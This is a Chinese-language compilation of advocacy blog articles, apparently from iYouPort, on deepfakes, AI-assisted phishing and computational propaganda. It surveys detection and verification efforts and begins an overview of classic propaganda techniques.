在威斯康星大学进行的奥巴马假视频实验是由三星、谷歌、Facebook、Intel 和该大学的动画研究实验室资助的，研究人员使用了神经网络，首先从一个音频文件转换成声音的基本口形。然后系统将这些口型移植并混合到现有的目标视频上并调整时间以创建新的逼真的唇形同步视频。

「图」

Source: University of Washington's sketch of the process that created the fake Obama video

制作假音频也变得越来越容易和消费化。 例如，加拿大创业公司 Lyrebird 正在开发一种技术，可以通过从某人的声音中录制一分钟的音频，从而以相同的声音生成更长的音频片段。同样，在 2016 年，Adobe 就推出了名为 Project VoCo 的原型（也被称为 “Photoshop for voice”）。该项目旨在让用户编辑人类语音，就像使用 PS 编辑数字图片一样简单……

显然，人工智能对视频和音频干预的广泛采用意味着对“高价值目标”的声誉攻击也将相应增加。声誉攻击可以诋毁一个人的人格，使其不可信，甚至可以因此制造出一个逮捕的理由！

已经有越来越多的人已经开始拍色情视频，被称为 deepfakes（“深度学习”和“假”的混成词），使用叠加名人的面孔到成人电影明星面部

的软件。当一个名为“deepfakesapp”的匿名用户于2017年12月发布该技术的第一个版本时，那是 deepfake 一词首次出现在 Reddit 上。

另一位用户后来很快发布了一个名为 FakeApp 的改进版本。FakeApp 使用由 Google 开发的名为 TensorFlow 的深度学习程序，允许用户创建面部交换的逼真视频。

该应用程序及其基础技术正在获得强大的牵引力。

Deepfake Society 是一个策划使用 FakeApp 制作的深度造假视频的网站，自2月推出以来已有超过 100 万的观看次数。Deepfake Society 禁止色情内容。但类似的网站正如雨后春笋般涌现，作为获取执行基本的深度造假所必需的工具和技能的自由资源，例如将前副总统乔拜登的脸嫁接到特朗普的视频中。

声誉诋毁是非常有效的（至于为什么人们如此容易被欺骗，我们曾经推荐过的这篇漫画非常能说明问题）。如今，声誉诋毁战术正在与人工智能的进步同步发展，完全可以制造出令人信服的细节，如眼球运动、皱纹、酒窝等等一切。

FakeApp 项目在 GitHub 上开源。

这类技术的发展结果不仅仅是那些谦逊的人会将恶作剧信以为真，并作出严重错误的选择，而且，人们将很快能看到作为犯罪证据的视频和音频令一个人甚至一个团体被蒙冤入狱、镇压被合法化。

间接操纵的网络钓鱼：恶意 **AI** 模仿和操纵他人

如今可用的数据量之庞大前所未有，导致个人很容易受到大量人身攻击。被称为网络钓鱼的常见攻击方式将是发动个性化攻击的主要手段 — 此类攻击越来越复杂，难以阻止。这就是为什么我们多次详细介绍和分析 #社交工程 攻击技术和抵制方法（在博客中找到详细内容）

延伸阅读：《//网络战：!社交工程学正被全球当权者利用来攻击活动家、异议人士和记者，如何抵御？//》

这种网络钓鱼攻击使用 AI 来创建逼真的人物模仿，攻击的目的是强迫其他人采取某些行动和/或不采取某些行动。

通过电子邮件进行的鱼叉式网络钓鱼攻击是最常见的有针对性的攻击形式 — 并且人工智能的加入意味着攻击者可以将更好地选择、冒充和欺骗他们的受害者。 支持 AI 的网络钓鱼操作使受害者更有可能信

任攻击者，而自动化则加速了攻击可能发生的规模。

这些攻击的复杂性和规模意味着整个人群都可能会被恶意 AI 愚弄。大量的虚假信息可能来自人工智能模仿关键决策者，引起广泛的混淆。

并且，随着时间的推移 — 人们充分地暴露于数字欺骗环境下 — 很可能导致对现实的冷漠 — — 即 我们分析过的《"真相衰变"》的原因之一。

现实冷漠的特点是有意识地缺乏对事实的关注、对验证事实失去兴趣。 在美国，越来越不知情的选民已经成为了严重伤害民主的关键因素，而在专制国家，比如中国，当权者可以借此进一步加强对无知和无动于衷的公民的操纵！

计算化宣传：数字化技术对舆论的操纵

计算化宣传是使用算法、自动化、社交媒体和人为策划的内容来进行广泛的公共影响力活动。

社交媒体对计算化宣传的流动至关重要。集中化社交媒体的新闻提要的算法非常容易受到操纵。因为社交新闻提要受到激励的支配，这些激励优先考虑极端观点和因刺激性而分享内容，并不是质量和真实性。并且，只要调动水军在短时间内推高，任何假消息都能被排上热搜榜。这还是在忽略了社交媒体巨头私人党派亲疏倾向的暗箱操作情况下。（我们在四年前观察到这一现象，并分析了《网络水军的布局》，当时这种操作已经被用来抹黑异议人士）

与此同时，所有人都在气泡/隧道里，这些气泡或大或小，但共同特点是高度的视野局限和偏执，真相和批判性思考完全无法打开这些气泡，反而是有意制造的、偏执的、充满刺激性情绪的假消息，能顺利在这些气泡中流通，因为它们完全符合气泡内生态。

最具影响力的科技公司是这些宣传操纵的主要舞台。

Facebook 是被使用最广泛的社交网络，其次是谷歌的 YouTube，然后是 Facebook 拥有的 Instagram。中国的腾讯拥有的微信和QQ平台排名第四。

如你所见，这些集中化的魔头也是开源调查的主要数据来源。开源调查技术的重要性也在此体现，对操纵性信息的源头查询和技术分析给出最专业的揭示。

「图」

全球 40% 的人口使用社交媒体这一事实并没有促进反抗者的连接关系，反而是加剧了欺骗操纵的恶果。根据 2017 年皮尤研究中心的一项研究，在美国，有超过三分之二的人（67%）在社交媒体上获得至少一些新闻。你能想象得到，真相衰变和操纵诱导的受灾面是有多大。

对社交媒体的使用并不受限于发达国家：皮尤研究中心对 21 个发展中国家和新兴国家进行的一项研究发现，发达经济体的人们每天使用社交媒体进行新闻获取的比重与新兴或发展中经济体基本相似（中位数分别为 36% 和 33%）。

与此同时，自 21 世纪初以来，美国对主流媒体的信任度稳步下降，只有不到一半的人表示他们在 2017 年信任主要媒体机构。随着商业媒体接受审查的事实被不断揭露，这一趋势已经很难扭转，加之独立媒体的发展被各种条件所抑制，真相愈发难以惠及民主。

延伸阅读：《//记者为什么主动要求被审查？是什么让记者主动放弃作为民主根基的新闻自由？//》；《//为什么说当下的局面已经更加危险？该如何制止恶性事态发展？//》

值得注意的是，机器人水军是这种宣传形式不可或缺的一部分。 安全专家认为，机器人占所有在线流量的一半以上（"约 52%"）。

在社交网络平台上，机器人的作用是为了让一个人或一群人错误地认为存在一个“大规模的社会和政治运动”，背后的操纵者利用马太效应引诱人们上钩。

延伸阅读：《//巨魔崛起：政府资助的网络水军正遍布全球//》

宣传机器人用于大规模挖掘目标人口的元数据。然后，他们操纵该元数据以识别高效的数字渠道以进行宣传，其目标是推出针对特定用户的完美定时目标信息。其中社交工程学 — 即心理学 — 是主要策略来源。这就是为什么我们不断介绍并演示社交工程攻击的微妙所在。

人工智能和机器学习技术使这些宣传机器人能够实时定制他们的活动，并以类似病毒式的规模传播。从本质上讲，⚠ 这些机器人识别并利用预先通过数据分析确定下的最容易受到数字心理操纵的人。

最近期的消息：基于D.C.的亲以色列集团秘密地误导 Facebook 广告瞄准亲巴勒斯坦活动家：该活动背后的团体资金充足，与以色列政府

有关。该组织将每个Facebook页面描述为“匿名数字营销活动”。该组织表示，它支付了推广该活动的费用，该活动已达到数万人。

此案提供了另一个例子，说明资金充足的倡导组织如何使用欺骗性策略在线推广其事业。Israel on Campus Coalition 在2016年大选季节期间推出了这些活动，同时与俄罗斯政府有关联的实体在另一系列政治问题上购买了误导性的 Facebook 广告。

信息战正在白热化。集中的社交网络唯一的价值就是给了这些操纵者一个绝佳的舞台。公民的认知被掌握在付得起高价购买操纵杆的极少数人手里，“民主”变成了木偶戏。（在这里看到，为什么集中化互联网更容易对人们实施诱导、欺骗和操纵）

政治宣传主义者，如臭名昭著的剑桥分析公司（Cambridge Analytica）利用人们的个性特征来表明他们对不同心理操纵的敏感程度。并充分利用这种特征，量身定做宣传性信息。

来自（现已破产）公司的泄露电子邮件详细说明了此类特征的示例。特征包括：对政党的忠诚、对枪支控制或移民等热门问题的立场，即使一个人神经质，对他人持怀疑态度，或者相信占星术的迹象等等。如下图：

「图」

针对数字欺骗的新兴解决方案

没时间等待解决方案了。包括埃及、巴西和墨西哥在内的国家都在 2018 年举行大选，美国 2018 年的中期选举即将举行。全球民主正在越来越多地被社交网络宣传和先进的数字欺骗所操纵。这是进行时，而且进行的速度非常快！

我们必须开发新的技术和应用来对抗信息战。首先，我们需要一种可扩展的方式来发现高精度的假视频。

延伸阅读：《//目前存在的假视频和图片的验证技术//》

而制止社交网络宣传是一个更复杂的问题。这不仅取决于技术掌握在谁手里，更有公民是否能对真相保持足够的热情，对民主保持足够的信念。

发现隐藏的元数据以验证图像和视频

国际特赦组织是世界上最大的基层人力资源组织，在争夺用户提交的侵犯人权视频证据的斗争中处于第一线。 该组织的公民证据实验室专门揭示图像和视频的背景。该实验室正在构建专业知识和技术，以验证视频捕获的时间、地点和方式。

使用的就是我们在 #OSINT 开源调查演示中多次介绍过的方法。

例如，该实验室使用谷歌地球和搜索引擎 Wolfram Alpha 交叉抓取视频中的环境和天气条件，以查看视频是否在其声称的条件下被捕获。

「图」

Citizen Evidence Lab triangulates details in user-submitted video of a shooting in Papua New Guinea to authenticate the video's origins. Source: //Amnesty International//

Citizen Evidence 实验室还有一个名为 YouTube 数据查看器的工具，可以从 YouTube 上托管的视频中提取隐藏的元数据。以判断用户传递的是否是旧视频或伪造视频。

用于将数字内容追溯到源的区块链

支持区块链背后的加密技术还可以帮助确保数字内容来自可靠、负责任的来源。

从本质上讲，媒体可以加盖一个唯一的加密标识符，当与区块链上的记录交叉引用时 — 可以毫无疑问地证明媒体的来源。没有标识符的媒体将被视为不太可靠。

这种技术对于发现在上下文中试图欺骗的图像和视频也特别有用。然而，数字取证组和媒体密码学家仍然需要努力解决人工智能从头就开始制作的虚假视频的问题。似乎这种问题越来越多出现了，尤其是在大型的有计划的操纵运动中。

发现 **AI** 生成的人物

麻省理工学院的研究人员展示了 Eulerian 视频放大技术，该技术可以帮助在视频中发现人工智能制作的人物影像。

这种视频放大技术可以通过观察由于血流引起的皮肤颜色的细微变化来检测诸如人的心率之类的微小细节，从而区分真人与 AI 生成的人：人工智能尚不足以在假视频中创建如皮下血液流动这种真实的水

平。

「图」

Source: //MIT//

交叉引用视频元数据、记录区块链上的合法内容、以及使用先进的视频放大技术是协同的步骤。然而，这些工具和技术的可扩展性不足以消除开源 AI 启用数字欺骗的迫在眉睫的威胁。我们需要一个可扩展的解决方案，因为如今几乎任何人都可以制作出高品质的假货。

大规模检测图像和视频操作

国防高级研究计划局（DARPA）至少发起了两项研究呼吁，以建立可扩展的数字媒体认证系统。

该媒体取证（MediFor）项目是建立一个平台，使用算法检测图像和视频操作。MediFor 有朝一日可以创建一个众包平台，观众可以集体调查视频的真实性。

DARPA 的 MEMEX 项目可以帮助构建一个庞大的在线搜索引擎，能够交叉引用整个互联网（包括暗网）的图像数据。哥伦比亚大学的一个由 MEMEX 资助的项目证明了能够在数 TB 的结构化和非结构化数据中找到人类贩运受害者的类似图像。这项工作可以帮助发现源自其他来源的 AI 生成的图像和视频的各个方面。

打击社交媒体宣传

公民可以保护自己免受在社交媒体上的算法操纵。关键是及时发现数字宣传以采取行动。

目前，对抗社交媒体宣传的可扩展技术手段在很大程度上是理论性的，并且至多在发展的早期阶段。一些组织已经发表了关于如何打击社交媒体宣传的想法，例如利用破坏坏僵尸网络的好机器人，或者识别伪装成人类的坏机器人。

同样，解决社交网络宣传的一次性项目正在世界范围内发展。

印第安纳大学是发布 OSoMe 项目测试版的机构之一：社交媒体观察站。IU 的 OSoMe 包括“ 可视化声称和事实检查的技术 ”以及“在新闻源中检测和阻止 Twitter 机器人”的工具。

乌克兰的 Kyiv-Mohyla 新闻学校以及 KMA 数字化新闻未来推出了 Stopfake.org 事实核查网站。该网站是一个信息中心，用户可以在其中查看和分析克里姆林宫生产的在线宣传的各个方面。

最后的想法

打击信息战的未来依然不确定，但还是有希望的。DARPA，企业，创业公司，非营利组织和大学的强大队伍都在长期打击信息战的斗争中取得了进展。最为关键的是，调查研究和反制技术开发均应保持独立性，远离政府和商业巨头的利益操控，让真相真正成为真相。

必须强调的是，数字保护的责任最终将取决于用户。在可预见的未来，我们将继续负责地评估我们所消费的信息的真实性。

这意味着要意识到我们所服务的叙事，并让自己习惯于去识别证实来自个人偏见的叙事与那些挑战我们信仰的叙事。并且，希望能动员更多技术爱好者加入到保卫民主的战役中来。■

感谢帮助 ***iYouPort***！

PayPal 捐赠渠道已开通 "//https://paypal.me/iyouport//"

原文

当视频证据显示你杀人…… 全身DeepFake意味着什么？ - iyouport

心理战和信息战

【 2020年7月10日存档】最可能有效的也是难度最大的是从意识层面的免疫，提升人们的分辨能力

在俄罗斯小说家维克多·佩勒温（Victor Pelevin）的网络朋克小说《智人》（Homo Zapiens）中，一位名叫巴比伦·塔塔尔斯基（Babylen Tatarsky）的诗人被一位前大学好友招募，在后苏联时期经济崩溃之际担任莫斯科的广告撰稿人。

Tatarsky 凭借出色的文字游戏才能，迅速攀升了公司阶梯，然后他发现，像当时的俄罗斯总统鲍里斯·叶利钦（Boris Yeltsin）这样的政客和重大政治事件实际上是虚拟的模拟。

随着越来越复杂的深度造假的出现，如 Pelevin 所描述的这般愿景正在慢慢成为现实。

- 《开源情报和取证学如何对付 “深度造假”？（有很多视频）》
- 《检测和防止深度造假的新方法》
- 《廉价造假和深度造假，究竟哪个更可怕？》

在被研究人员称之为 “深度造假” 或 “合成媒体” 的领域中，大部分注意力都集中在可能对政治现实造成严重破坏的假脸上，以及其他可以模仿某个人的写作风格和声音特征的深度造假。

但是，合成媒体技术的另一个分支正在迅速发展：全身深度造假。

2018年8月，加利福尼亚大学伯克利分校的研究人员发布了名为 “Everybody Dance Now” 的论文和视频，展示了深度学习算法如何将专业舞者的动作转移到业余者的身体上。

尽管还很原始，但它的确表明机器学习研究人员正在解决创建全身深度造假的更艰巨的任务。

同样在2018年，由德国海德堡大学的 BjörnOmmer 博士领导的一组研究人员发表了一篇关于机器学习的论文，以逼真的渲染人体运动。

4月，日本人工智能公司 Data Grid 开发了一种AI，该AI可以自动生成原本就不存在的人的全身模型，理论上是在时装和服装行业的实际应用。

显然，深层造假会具有一些有趣的商业应用，例如演示跳舞的应用程序或生物医学研究等领域，但是，在当今虚假信息和虚假新闻引发的两极分化的政治气候下，这种技术的恶意用例正日益引起人们的关注。

- 《所有信息都是战略性的：信息地缘政治》

目前，全身的深度造假产品还不能完全使人迷惑，但是像任何深度学习技术一样，它将会不断取得进步。这只是在多长时间内将与真实变得难以区分的问题。

合成整个人体

「图」

为了创建伪造品，计算机科学家使用生成对抗网络（GAN）。这是由两个相互竞争的神经网络组成的深度神经网络架构，在完善的反馈回路中工作，以创建逼真的合成图像和视频。

深度造假的首次恶意使用出现在 Reddit 上 —— 斯嘉丽·约翰逊（Scarlett Johansson）等女演员的面孔被映射到色情演员的身体上。

Fast.AI 的 Rachel Thomas 说，存在的伪造品中有95%是色情材料，意在以虚假的性行为指称骚扰某些人。“其中一些深度造假视频使用的不一定是非常复杂的技术。”但是，这种情况已经开始改变。

Farid 指出，中国的深度造假应用程序 Zao 足够说明这项技术在不到两年的时间内发展了多快。

他说：“有了深度造假图片和视频，我们已经从本质上实现了CGI技术的民主化 —— 我们已经将其从好莱坞制片厂手中移交给了 YouTube 视频创作者。”

海德堡大学图像处理协作实验室（HCI）和科学计算跨学科中心（IWR）的计算机视觉教授 Björn Ommer 领导着一个研究和开发全

身合成媒体的团队。

像该领域的大多数研究人员一样，该小组的总体目标是教机器如何理解图像和视频。

Ommer 说："我们不仅在游戏行业中看到了合成化身，而且在其他许多领域也创造了收入。"

仅仅合成面孔和合成整个身体的过程之间存在重大差异。 Ommer 说，已经对面部合成进行了更多研究。

这有几个原因。首先，任何数码相机或智能手机均具有内置的面部检测技术，该技术可用于诸如微笑检测或识别观看者正在看的人的身份。

这样的应用程序可以产生收益，从而导致更多的研究。但是，正如 Ommer 所说，它们还导致了"大量数据集的组装、数据管理、以及获取人脸图像的研究，这些都是深度学习研究的基础。"

其次，对于 Ommer 而言，更有趣的是，尽管每个人的面孔看起来都不同，但是将面孔与整个人体进行比较时并没有太大的可变性。

"这就是为什么面部研究进入了一个新阶段的原因，与整个人体的造假相比，它可以产生非常不错的结果，其中存在更多的可变性，处理起来要复杂得多，而如果您深入那个方向，会学到更多的东西。" Ommer 说。

Ommer 不确定完全合成的物体什么时候会达到他和研究人员想要的质量。然而，考虑到恶意深度造假的成熟，Ommer 指出，即使没有深度学习计算机视觉智能、人工智能或其他技术所产生的伪造品，人类也会很容易受到欺骗。

美国众议院议长南希·佩洛西 (Nancy Pelosi) 被放慢速度的视频让她看起来就像是喝醉了酒。这段视频表明，这种简单扭曲的深度造假技术即将出现，并可能会被某些人所利用。

Ommer 说："但是，如果要使其对更大的社会具有吸引力，还需要几年的时间。" 全身造假及其他深度造假产品将变得更便宜、更流行。

"研究社区本身已经朝着一个方向发展了，他们需要对我们所看到的这种稳步发展负责，算法很容易获得，例如在 Github 上等等。所以你只需要下载代码，而不需要更多知识，运行它们就行。"

感觉无力

「图」

并非每个人都能创造出“轰动一时的假货”。但是，随着时间的推移，Ommer 说，金钱将不再是计算资源方面的问题，软件的适用性也将变得更加容易。

Farid 说，借助全身的深度造假技术，恶意的创建者将能够使用典型静态的人物直接对着摄像机说话，让目标去做和说出他们永远不会说的话。

调查记者兼弗兰德广播公司（VRT）的外国记者 Tom Van de Weghe、也是人权活动家和持不同政见者，担心全身造假会使镜头武器化。

Van de Weghe 和他的团队在2007年至2012年期间曾担任比利时电视台中国台的国际通讯员，在报道河南省的一次艾滋病丑闻时，触犯了中国政府。

Van de Weghe 在前往机场的途中遭到殴打，他说，当局告诉中国官媒新华社称这是一个虚假的故事。

Van de Weghe 说：“那是我第一次接触假新闻，我感到无能为力。一旦官方叙事被世界上最大的新闻机构所扭曲，并且已经在世界各地的发行机构中分发，您会看到它印在《中国日报》的首页上，您会觉得这都是什么玩意？”

这种悲惨的经历、加上2016年大选期间虚假新闻的激增、以及2017年深度造假的兴起，激发了 Van de Weghe 开始研究合成媒体的能力。

在2018年夏天，他在斯坦福大学开始了一项研究奖学金计划，专注于研究打击恶意使用深度造假的方法。

Van de Weghe 说：“受到威胁最大的不一定是大人物，政治人物和流行的名人。而是普通人，就像你我这样的人，以及一些边缘化群体，更可能成为或已经成为深度造假的受害者”。

就在最近，在将视频上传到 PornHub 并在互联网上发布之后，荷兰新闻主播 Dionne Stax 发现自己的脸被深度造假技术附着在色情女演

员的身上。

尽管 PornHub 迅速删除了该视频，但 Van de Weghe 说她的名誉受损已经造成。他还指出，中国的AI公共广播电台已经证明了中国政府有能力实现高明的深度造假。

“2020年，中国的街道上应该有2亿个摄像头，以追踪人们的一举一动，为所谓的社会信用评分计划。中国当局拥有大量数据，他们可以使用所有数据来操纵某些事物。”

- 《中国推出”超级监控摄像机”辅助社会信用评分》

Van de Weghe 认为，全身的深度造假可能会以令人烦恼的新方式完全改变香港抗议等事件的影响 —— 这些内容的造假可能会使抗议者看起来暴力、或借以美化执法部门的镇压行动。

“要勒索新闻工作者或对新闻工作者施加负面影响，他们就可以将这些镜头变成深度造假。他们可以使用这些素材进行任何操作，并且很容易做到。我不是说他们正在这样做，但他们可能已经能够做到这一点。全身的 Deepfake 技术已经越来越好，所以问题是，第一个全身 Deepfake 会用来干什么？”

Van de Weghe 指出了CNN首席白宫通讯员 Jim Acosta 的2018年镜头，以想象全身深度造假的工作原理。在阴谋论网站 Infowars 的编辑 Paul Joseph Watson 上传的视频片段中，Acosta 看起来似乎在努力推搡一位白宫工作人员试图拿起麦克风。C-SPAN 播放的原始剪辑与 Watson 的剪辑明显不同。

Infowars 编辑声称他没有篡改素材，并将任何差异归因于 “视频压缩” 伪像。但是，正如《独立报》对该视频进行并排分析所显示的那样，Watson 的视频缺少了原始视频的几帧。

就像编辑视频帧一样，全身的 Deepfake 可以改变事件的真实性。

“如果白宫都能出这样的事，那就想象一下像中国那样的民主程度较低的政权能够凭借全面的深度造假技术实现什么。”

Deeptrace Labs 成立于2018年，是一家网络安全公司，现正在基于计算机视觉和深度学习构建工具来分析和理解视频，尤其是可以由任何类型的AI操纵或合成的视频。

公司创始人 Giorgio Patrini 曾是阿姆斯特丹大学DELTA实验室的深度

学习博士后研究员，他说，几年前，他开始研究技术如何预防或防范未来对合成媒体的滥用。

Patrini 认为，恶意的深度造假东西，包括合成的全身、面部和声音的组合，将很快被用于针对记者和政治人物。

他指的是一部深度造假的色情视频，其中印度记者 Rana Ayyub 的脸被放在色情女演员的身体上，这是一次虚假宣传活动的一部分，目的是在她公开要求强奸和谋杀8岁的克什米尔女孩案件以示公义后，抹黑她的调查报告。

- 的确，IYP也一直不认为深度造假会对政治权力斗争中的当权者造成多严重的危害，因为哪个政客是什么鸟样老百姓都知道。反而是政治异议和任何敢于说真话的人会面临危险 —— 这是信息战的重头戏，即 维稳《人格暗杀和抹黑运动：谁在受益？》

3月份，Deeptrace Labs 调查了据说是最近中风的加蓬总统 Ali Bongo 的造假视频。

尽管这个非洲国家的许多人认为邦戈的面孔、眼睛和身体非常不真实，这表明它是一个假脸 —— 包括加蓬军方，他们基于这一信念发动了一次政变 —— 但 Patrini 对媒体说，他不相信总统的录像是合成的。

Patrini 说："我们找不到任何理由相信这是一次深度造假欺骗，后来我确认，总统仍然活着，但是他得了中风。"

"我想在这里提出的要点是，视频是否为假货并不重要 —— 人们知道它可以引起公众舆论的怀疑，并可能在某些地方引发暴力。"

最近，Van de Weghe 了解到，一名政党特工接近最受欢迎的 Deepfake 创作者之一，要求使用 Deepfake 技术破坏特定个人。这种定制的深造造假可能会成为大生意。

Van de Weghe 说："深度造假可以赚钱。"人们会下单。因此，政府不必制造假冒品，而只需联系专门从事造假的人来制造这些东西。"

《华尔街日报》最近报道说，一家英国能源公司的首席执行官被骗向匈牙利供应商的账户转账243,000美元。这位高管说，他相信自己正在与他的老板谈话，后者似乎已经批准了这项交易。后来才明白，他是音频造假的受害者。

Farid 相信其他欺诈性的深度造假财务计划出现（可能包括全身的深度造假）只是时间问题。

“我可以制作杰夫·贝索斯（Jeff Bezos）的速写视频，让‘他’说亚马逊的股价正在下跌，” Farid 说，“考虑做空亚马逊股票可以赚到的所有钱 ……

Farid 认为，社交媒体和深度造假视频的组合，无论是面部还是全身，都可以轻易造成严重的破坏。社交媒体公司很大程度上无法或不愿意调节其平台和内容，因此深度造假产品可能像野火一样传播。

他说：“当您将创建 Deepfake 内容的能力与在全球范围内分发和使用它的能力结合在一起时，就会出现问题。出于多种原因，我们生活在高度两极分化的社会中，人们认为他们不同意的任何人都是最糟糕的人。”

但是对于 Fast.AI 的 Thomas 而言，在新的网络冲突中，几乎不需要故意造假来对政治进程产生负面影响，政府和行业一直在假消息中挣扎。风险不仅涉及技术，还涉及人为因素。社会是两极分化的，美国（和其他国家）的广大地区不再拥有他们可以信赖的共享真相。

这种不信任感会落入具有政治动机的深度造假者的手中。

正如隐私学者 Danielle Citron 指出的那样，当将一个假货被揭穿时，它可以向那些购买谎言的人暗示 “这样做是值得的”。Citron 将其称为“骗子的红利”。

- 《纠错有很高的技术含量 稍有不慎便适得其反，该怎么做？》

Farid 认为，全身深度造假技术的进步将使这种邪恶的总体问题更为严重。

在大学研究（例如 “ Everybody Dance Now”）和私有部门计划（例如中国的 Zao）将深度造假货币化的推动下，该技术正在迅速发展。

Farid 说：“一旦你可以做全身的造假，那就不再只是在谈论头部这么简单了：你可以模拟人们发生性关系、甚至杀死某人。”

行业反应

「图」

当前，在科技行业内尚无消除深度造假的共识方法。正在研究和测试许多不同的技术。

例如，Van de Weghe 的研究团队创造了不同的方法，探索深度造假的内部挑战。一个团队调查镜头的数字水印，以识别深度伪造内容。另一个团队使用区块链技术来建立信任，这是它的优势之一。还有一个团队通过使用最初创伪造视频的相同深度学习技术来识别它们。

“有些斯坦福大学的辍学生创造了 Sherlock AI ，这是一种深度伪造视频自动检测工具。他们取样了某些卷积模型，然后在视频中寻找异常。还有被其他深度伪造探测器使用的程序，比如 Deeptrace 实验室。他们使用名为 FaceForensics＋ 的数据集，然后对其进行测试。这种技术的识别准确率高达97%，而且更擅长识别换脸。”

Deeptrace Labs 基于API的监控系统可以查看 Deepfake 视频的创建、上传和共享。自2018年成立以来，该公司已在互联网上找到了14,000多个假视频。

Deeptrace Labs 系统收集的见解可以告知公司及其客户有关深度造假创作者的作品、假货来自何处、他们使用的算法、以及这些工具的可访问性。

Patrini 说，他的团队发现95％的伪造品是假色情类别中的面孔互换，其中大多数是名人中的一小部分。到目前为止，Deeptrace Labs 尚未发现任何在野外使用的全身造假技术。

Patrini 说：“您无法真正用一个算法或想法来总结所有问题的解决方案。这只是构建几个工具，这些工具可以告诉您有关合成媒体整体的不同情况。”

Van de Weghe 认为，反深度造假伪造技术的下一个重大突破将是软生物识别签名。每个人都有自己独特的面部表情 —— 抬起的眉毛、嘴唇动作、手部动作 —— 这些都是独一无二的。

加州大学伯克利分校的研究人员 Shruti Agarwal 使用软生物识别模型来确定是否为视频人工创建了这种面部抽动。（Agarwal 的论文顾问是假视频专家 Hany Farid）

“基本思想是，我们可以为世界各地的领导人建立这些软生物特征识别模型，然后，随着视频开始疯传，我们可以对其进行分析，并尝试确定我们是否认为它们是真实的或不真实的。” Agarwal 说。

尽管 Agarwal 的模型并不完全可靠，由于处于不同情况下的人可能会出现不同的面部抽动，Van de Weghe 认为公司将来可以提供软生物识别签名来进行身份验证。这样的签名可能是众所周知的眼睛扫描或全身扫描。

Van de Weghe 说："我认为这是前进的道路：与学者和大型科技公司合作创建更大的数据集。而且，作为新闻编辑室，我们应该尝试培训人员并建立有关抵制深度造假的媒体素养。"

国防高级研究计划局（DARPA）的努力是使用语义取证法处理深度造假，目的是寻找算法错误，例如 会造成人在深度造假视频中佩戴的耳环不匹配的算法错误。

2018年9月，AI基金会筹集了1000万美元用于创建一种工具，该工具可以通过机器学习和人工识别 Deepfake 和其他恶意内容。

但是，Fast.AI 的 Thomas 仍然对技术能否完全解决深度造假的问题表示怀疑，无论他们采取何种形式。

她认为，"在短期内，推广虚假信息和其他煽动性内容对主要平台来说是有利可图的，所以我们的激励机制完全不一致。我不认为这些平台应该对它们托管的内容负责，但我确实认为它们应该对它们积极宣传的内容负责。例如， YouTube 向那些甚至没有寻找相关内容的人推荐了160亿次 Alex Jones 的视频。"

Patrini 说："我们还可以告诉大众，这项技术已经存在，我们需要重新训练自己的耳朵和眼睛，不要相信我们在互联网上看到和听到的一切。我们需要为人和社会接种 '疫苗'，而不是期待在两年内修复东西，因为滥用这项技术可能会引发许多灾难性或有争议的事。"

Ommer 称："我们都看到了图像理解的应用及其潜在的好处，但这涉及非常重要的责任问题，谁将为此承担责任？公司很可能为了股东的利益着想也需要明确自己的责任。但是，我们都知道他们到目前为止是如何处理这一责任的。这是个非常棘手的问题，它们只是希望深度造假视频自然而然地消失，但这显然是不现实的。" ○

You've been warned: Full body deepfakes are the next step in AI-based human mimicry

原文

微妙的宣传 - iYouPort

免费书和纪录片心理战和信息战

反洗脑不是说起来这么容易的，因为绝大多数宣传你根本意识不到。意识到它们的存在是抵制的第一步。本文尝试帮您认识它们；并推荐一些在线可读的书和纪录片。

「图」

「图」

宣传是“ 支持国家目标的任何形式的沟通，旨在影响任何群体的意见、情感、态度或行为，以便直接或间接地使赞助者受益。政府一直试图控制人民，当权者希望控制人民的心灵、思想和忠诚，阻止或审查任何持不同政见者的声音。

每场冲突至少有两个方面：战场和人民的思想，其间嫁接着宣传。“好人”和“坏人”往往都会因为被歪曲、夸张、主观化、不准确甚至捏造而导致误导，以获得支持和合法的感觉。非黑即白。宣传是为政府争夺至高无上的权利。国王死了，国王万岁。

但我们可以了解他们是如何玩弄这种宣传战的，为了能应对（抵消）其操纵的能力。

由于教皇格雷戈里十五世为信仰的传播创造了会众，“宣传”一词在欧洲首次得到普遍使用。这是一个红衣主教组织，负责在异教徒的土地上传播信仰和管理教会事务。他们成立了一个宣传学院，为特派团培训牧师。第一次世界大战开始时，宣传这个词再次被普遍使用。

无论用什么词，对思想的斗争都与人类历史一样古老。希腊人有游戏、戏剧、集会和节日来宣传思想和信仰。英国国王与议会之间的冲突是一场涉及宣传的斗争。宣传在美国独立运动和法国大革命中是作为武器使用的。公共关系学科（PR）在第一次世界大战后开始作为一种职业出现，因为实现了精心宣传的商业利益。

在西方国家，大多数人似乎都相信宣传会发生，但也有很多人认为宣传“仅限于其他国家”。事实上宣传并没有任何国家特殊性。与此同时，西方军工机器充斥着大量容易被发现的宣传、一些难以察觉的宣传，或者一旦被发现，就很难找到它的来源、以及它为什么要完成的宣传。

1936年，波士顿商人 Edward Filene 帮助建立了短命的宣传分析研究所，旨在教育美国人认识宣传的技巧。它分析出的七种宣传方法已经成为一种标准，沿用至今。我们在上周的本栏目中有过分析，详见《宣传战的诡迹》之2“最常见的政治宣传模式”。

以下简要介绍该研究所总结的七种宣传方式，这些方式是所有方式中最常见的。

1、Bandwagon—— “赶时髦”推动了“加入”的价值。而事实上在论证中，潮流本身是一种谬误或错误。与说服或情感诉求相关，以伪装“随波逐流”的方法说服读者赞同作者的论点。这种说服的有效性在很大程度上依赖于人类对归属的需求，使群体成为一个理想的地方。

商业作家经常发表这样的声明，例如“超过500万人已经打电话给……”并加上公司名字。这种方法起作用的原因是所谓的*多数意见*的社会压力。或者一位作者说，“每个人都在尽一切努力使自己快乐。当你意识到这一点时，你不会因为做其他人也在做的事而感到内疚。“ 这种方法之所以有效，是因为作者深信只要大多数人这样做它就是对的—— 将人气与真理等同起来了。评论作者在告知观众一本书或一首歌已经连续几周排名第一时，使用的也是这种宣传方法，其中还有一些隐性的威胁：如果你不跟着别人这样做你就落伍了。

2、Card-stacking—— 也被称为忽略反证、单面评估、倾斜和抑制证据，构建了一个高度偏见的位置（和原因）的案例。这是一种故意的反对争论的做法，将所有反对的证据埋没或令其失去信誉，而符合宣传者个人立场的每个机会都被夸大了。

所使用的完全是支持者的证词，而不是反对者的证词，可以人为地创造巧合和意外，使故意行为看似随意的发生。

这种方式很诡异，因为提出片面的论证绝不是谬误。例如，提出被告有罪的证据不是辩护律师的工作，这是检察官的职责。我们也不能指望推销员告诉你“这件商品哪儿不好”。政客们在竞选活动中也绝对不会告诉你一件事的全方面信息。

